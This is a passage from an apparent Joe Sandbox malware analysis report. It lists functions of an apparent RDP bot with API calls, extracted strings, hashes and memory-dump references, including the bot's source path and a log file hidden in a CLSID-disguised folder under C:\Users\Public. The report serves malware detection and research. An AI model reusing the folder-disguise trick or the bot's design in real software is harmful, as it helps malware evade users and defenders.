LeaveCriticalSection.KERNEL32(?,00007FF6BE0484F0,00007FF6BE0313B7,?,?,?,?,?,?,00007FF6BE0384AF), ref: 00007FF6BE039ADB
CopyFileA.KERNEL32 ref: 00007FF6BE039B38

Strings

service, xrefs: 00007FF6BE0399E5
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log, xrefs: 00007FF6BE039AFB
., xrefs: 00007FF6BE039B1D
1, xrefs: 00007FF6BE039B22

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log$service
API String ID: 513531256-4171087551
Opcode ID: 63c08d7458072f3ffe3d65f4f93f73f9d412e0c73241e0ce27064e40afdb8958
Instruction ID: bb73815186f71b9baed8242903b752a685fb37a2572d84d447c546ba9e1dfe19
Opcode Fuzzy Hash: 63c08d7458072f3ffe3d65f4f93f73f9d412e0c73241e0ce27064e40afdb8958
Instruction Fuzzy Hash: 3E417C21A0C64586F330AB1DE9517AA3271FBB8780F840532FB0DD7695DF3CE5A19750

Function 00007FF8BA4F7AB4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BA4F7B50
_strtoui64.MSVCRT ref: 00007FF8BA4F7B66
_errno.MSVCRT ref: 00007FF8BA4F7B70
_errno.MSVCRT ref: 00007FF8BA4F7B7C

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA4F7B36
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BA4F7B21
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BA4F7BA3
(value != NULL), xrefs: 00007FF8BA4F7B28
ini_get_uint64, xrefs: 00007FF8BA4F7B2F, 00007FF8BA4F7B9C

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: b301655ed76bfcb65bf27385b654fd88f5a2592561199eef133ef872ace53a75
Instruction ID: 637a793ed10bb829f66824e0b7fb96af2e2c78032790d21f10a8faee43fbf2e7
Opcode Fuzzy Hash: b301655ed76bfcb65bf27385b654fd88f5a2592561199eef133ef872ace53a75
Instruction Fuzzy Hash: 32218D22A08A43C6E6219F59FC807AA7364FB457C8F444072EF4C47664DF7DEA49C700

Function 00007FF8B915C974 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8B915CA10
_strtoui64.MSVCRT ref: 00007FF8B915CA26
_errno.MSVCRT ref: 00007FF8B915CA30
_errno.MSVCRT ref: 00007FF8B915CA3C

Strings

[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8B915CA63
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B915C9E1
ini_get_uint64, xrefs: 00007FF8B915C9EF, 00007FF8B915CA5C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B915C9F6
(value != NULL), xrefs: 00007FF8B915C9E8

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 58423ba29739921012416d05e5dbc1509c7eb61d3be863f7a2f3912cda20af73
Instruction ID: ba875c8e43ea3cc856875f75497227ea4a52b77d27b5d8b1ba02779c9c239d61
Opcode Fuzzy Hash: 58423ba29739921012416d05e5dbc1509c7eb61d3be863f7a2f3912cda20af73
Instruction Fuzzy Hash: 1A21AB62A08BC396E6129F1CF8407AA3765BB857C8F454032EF8C47665DF3CE985E700

Function 00007FF8B9189004 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8B91890A0
_strtoui64.MSVCRT ref: 00007FF8B91890B6
_errno.MSVCRT ref: 00007FF8B91890C0
_errno.MSVCRT ref: 00007FF8B91890CC

Strings

H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B9189071
(value != NULL), xrefs: 00007FF8B9189078
ini_get_uint64, xrefs: 00007FF8B918907F, 00007FF8B91890EC
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8B91890F3
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B9189086

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 7feb5f99be34bff91d77dfd5db5aa2204c62c6314b7ac8121db4399c85ba9e29
Instruction ID: fb7d2605498d6a04d36d5840b025d926639e05d7b175cbdbc1f31ad4bcf1e0b0
Opcode Fuzzy Hash: 7feb5f99be34bff91d77dfd5db5aa2204c62c6314b7ac8121db4399c85ba9e29
Instruction Fuzzy Hash: E6217A22A08A8696F6219F19F8807AA77A5BB447D4F444032EF4C47766DF3DD986F700

Function 00007FF8BFB58AB4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB58B50
_strtoui64.MSVCRT ref: 00007FF8BFB58B66
_errno.MSVCRT ref: 00007FF8BFB58B70
_errno.MSVCRT ref: 00007FF8BFB58B7C

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB58B36
ini_get_uint64, xrefs: 00007FF8BFB58B2F, 00007FF8BFB58B9C
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB58B21
(value != NULL), xrefs: 00007FF8BFB58B28
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB58BA3

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 13a4dc5d4aef767626a2686ae3962c350040e320f9c49377ac2aaf778c88b94f
Instruction ID: b0de49f1424ae57908a201f7c79efa8160a963368e0d18f1f08b488ea54e4b06
Opcode Fuzzy Hash: 13a4dc5d4aef767626a2686ae3962c350040e320f9c49377ac2aaf778c88b94f
Instruction Fuzzy Hash: 5F217C62A09A86A5E7119F99FC50BAA7365FB447C4F444032EF4C47764DF3CE995C700

Function 00007FF8BFB394F4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB39590
_strtoui64.MSVCRT ref: 00007FF8BFB395A6
_errno.MSVCRT ref: 00007FF8BFB395B0
_errno.MSVCRT ref: 00007FF8BFB395BC

Strings

[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB395E3
ini_get_uint64, xrefs: 00007FF8BFB3956F, 00007FF8BFB395DC
(value != NULL), xrefs: 00007FF8BFB39568
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB39576
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB39561

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 591d9c77f18678ec0f49fccd3905a1aec4a9850be8c5e59c2f1693f793faafe9
Instruction ID: 1bab018105bea4cf9faea3f52642eab5306698a17a64a2658a3b7775e460746f
Opcode Fuzzy Hash: 591d9c77f18678ec0f49fccd3905a1aec4a9850be8c5e59c2f1693f793faafe9
Instruction Fuzzy Hash: 8E217762A48A4796E6219F99FC407AA7365FB847C4F484032EF8C47764CF3CE885CB00

Function 00007FF8BFB8CA74 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB8CB10
_strtoui64.MSVCRT ref: 00007FF8BFB8CB26
_errno.MSVCRT ref: 00007FF8BFB8CB30
_errno.MSVCRT ref: 00007FF8BFB8CB3C

Strings

(value != NULL), xrefs: 00007FF8BFB8CAE8
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8CAF6
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB8CB63
ini_get_uint64, xrefs: 00007FF8BFB8CAEF, 00007FF8BFB8CB5C
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8CAE1

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 86f798423a90631b684bbec975e772917ddb9f341768e14ebb927b92ead05de6
Instruction ID: 1b2a34692f54fe5f1fdebf2969dc601f2bd5b56e31d2b2d2b822f3f7aca0edf6
Opcode Fuzzy Hash: 86f798423a90631b684bbec975e772917ddb9f341768e14ebb927b92ead05de6
Instruction Fuzzy Hash: EE217CA2A09A4696E6519F9DFC407AA73A0FB887D4F848036EF4C477A5DF3CE945C700

Function 00007FF8BA4F7590 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BA4F767C

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA4F75E0, 00007FF8BA4F7613, 00007FF8BA4F7646
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BA4F75CB, 00007FF8BA4F75FE, 00007FF8BA4F7631
NULL, xrefs: 00007FF8BA4F770E, 00007FF8BA4F7717
(name != NULL), xrefs: 00007FF8BA4F7605
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8BA4F76F5
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8BA4F76AD
(var != NULL), xrefs: 00007FF8BA4F7638
(sec != NULL), xrefs: 00007FF8BA4F75D2
ini_get_var, xrefs: 00007FF8BA4F75D9, 00007FF8BA4F760C, 00007FF8BA4F763F, 00007FF8BA4F76A6, 00007FF8BA4F76EE

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-2568489879
Opcode ID: 1a184603a095c2785f17211911e662ef83ed393e3036cf695f0e3083be6901ce
Instruction ID: d8ce18eed5f4ebe553d0867d6246418b097da0a32ea0bc6489cda94370ccb6ac
Opcode Fuzzy Hash: 1a184603a095c2785f17211911e662ef83ed393e3036cf695f0e3083be6901ce
Instruction Fuzzy Hash: 1E41F761E0C647D6FA208B9CED903B82360BB153D8F8495B6DF4D469A5EFBDA649C300

Function 00007FF8BFB38FD0 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB390BC

Strings

NULL, xrefs: 00007FF8BFB3914E, 00007FF8BFB39157
(name != NULL), xrefs: 00007FF8BFB39045
ini_get_var, xrefs: 00007FF8BFB39019, 00007FF8BFB3904C, 00007FF8BFB3907F, 00007FF8BFB390E6, 00007FF8BFB3912E
(sec != NULL), xrefs: 00007FF8BFB39012
(var != NULL), xrefs: 00007FF8BFB39078
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8BFB390ED
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB39020, 00007FF8BFB39053, 00007FF8BFB39086
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB3900B, 00007FF8BFB3903E, 00007FF8BFB39071
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8BFB39135

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-2568489879
Opcode ID: 6b049bc3d6c029a052e072fb1fc95993046fbce77934b4af55192470ce624f2e
Instruction ID: 52751eb6c13eae313cd15a7c400c7973b82dbdbea2a3fafa2328b6c9caba442d
Opcode Fuzzy Hash: 6b049bc3d6c029a052e072fb1fc95993046fbce77934b4af55192470ce624f2e
Instruction Fuzzy Hash: 6D4149A2A88A47A1FA249BD9EA413F46361FF443C8F8C4032DB5C16694DF7DEA55D300

Function 00007FF8BA4F7409 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BA4F74FD

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA4F7459, 00007FF8BA4F748C, 00007FF8BA4F74BF
(ini != NULL), xrefs: 00007FF8BA4F744B
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BA4F7444, 00007FF8BA4F7477, 00007FF8BA4F74AA
NULL, xrefs: 00007FF8BA4F7574
(name != NULL), xrefs: 00007FF8BA4F747E
(sec != NULL), xrefs: 00007FF8BA4F74B1
[D] (%s) -> Done(name=%s), xrefs: 00007FF8BA4F751D
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8BA4F755B
ini_get_sec, xrefs: 00007FF8BA4F7452, 00007FF8BA4F7485, 00007FF8BA4F74B8, 00007FF8BA4F7516, 00007FF8BA4F7554

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-3977765790
Opcode ID: 3d6d22d10641deace307fba5547bc6261cfc25d0abbb71d060340f09f2567f54
Instruction ID: 79ce789dc91baa002e40eac62809ad50493e68f0cf935a9a425e1fa2de08ba50
Opcode Fuzzy Hash: 3d6d22d10641deace307fba5547bc6261cfc25d0abbb71d060340f09f2567f54
Instruction Fuzzy Hash: 54412E61A0C547D5FA208B9CEC903B82350BF113C8F84A0B6DF4D569A5EFBDE64AD300

Function 00007FF8B9188959 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8B9188A4D

Strings

[D] (%s) -> Done(name=%s), xrefs: 00007FF8B9188A6D
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B9188994, 00007FF8B91889C7, 00007FF8B91889FA
NULL, xrefs: 00007FF8B9188AC4
ini_get_sec, xrefs: 00007FF8B91889A2, 00007FF8B91889D5, 00007FF8B9188A08, 00007FF8B9188A66, 00007FF8B9188AA4
(name != NULL), xrefs: 00007FF8B91889CE
(sec != NULL), xrefs: 00007FF8B9188A01
(ini != NULL), xrefs: 00007FF8B918899B
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8B9188AAB
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B91889A9, 00007FF8B91889DC, 00007FF8B9188A0F

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-3977765790
Opcode ID: bbd8d863d0c2393a798718cc76c9459790273a858cadf82e92e436848f4ab38c
Instruction ID: 7b27ca96c6272c38e14ce30cf6208caefe170f999f47ff984c3b7d6dc462309e
Opcode Fuzzy Hash: bbd8d863d0c2393a798718cc76c9459790273a858cadf82e92e436848f4ab38c
Instruction Fuzzy Hash: 8A411A62A185C7A5FA209F5CE8807F463A1AB003C8F598532DB6D465D7EF3CA946F300

Function 00007FF8BFB38E49 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB38F3D

Strings

NULL, xrefs: 00007FF8BFB38FB4
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8BFB38F9B
(name != NULL), xrefs: 00007FF8BFB38EBE
(sec != NULL), xrefs: 00007FF8BFB38EF1
ini_get_sec, xrefs: 00007FF8BFB38E92, 00007FF8BFB38EC5, 00007FF8BFB38EF8, 00007FF8BFB38F56, 00007FF8BFB38F94
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB38E99, 00007FF8BFB38ECC, 00007FF8BFB38EFF
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB38E84, 00007FF8BFB38EB7, 00007FF8BFB38EEA
[D] (%s) -> Done(name=%s), xrefs: 00007FF8BFB38F5D
(ini != NULL), xrefs: 00007FF8BFB38E8B

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-3977765790
Opcode ID: a5c6423a5378826f41d1e00e337d869f499e52ea9b23018924f27b0ddc25a9b7
Instruction ID: 2a28d82c6cb590ef85477cc0fe020d1a049c09cdef09f991c26a017c5eb5895c
Opcode Fuzzy Hash: a5c6423a5378826f41d1e00e337d869f499e52ea9b23018924f27b0ddc25a9b7
Instruction Fuzzy Hash: 7E414AA3AC9647A1FA149BD8EA407B42361BF443C8F4C4436EB1C0B5A5DF7CE95AE311

Function 00007FF6BE03824D Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 76stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6BE038258
strlen.MSVCRT ref: 00007FF6BE038274
strlen.MSVCRT ref: 00007FF6BE038280
strlen.MSVCRT ref: 00007FF6BE03830A
strlen.MSVCRT ref: 00007FF6BE038337

Strings

.applied, xrefs: 00007FF6BE038312
update.p, xrefs: 00007FF6BE038289
tch.pkg, xrefs: 00007FF6BE0382D7
????-pat, xrefs: 00007FF6BE0382CA
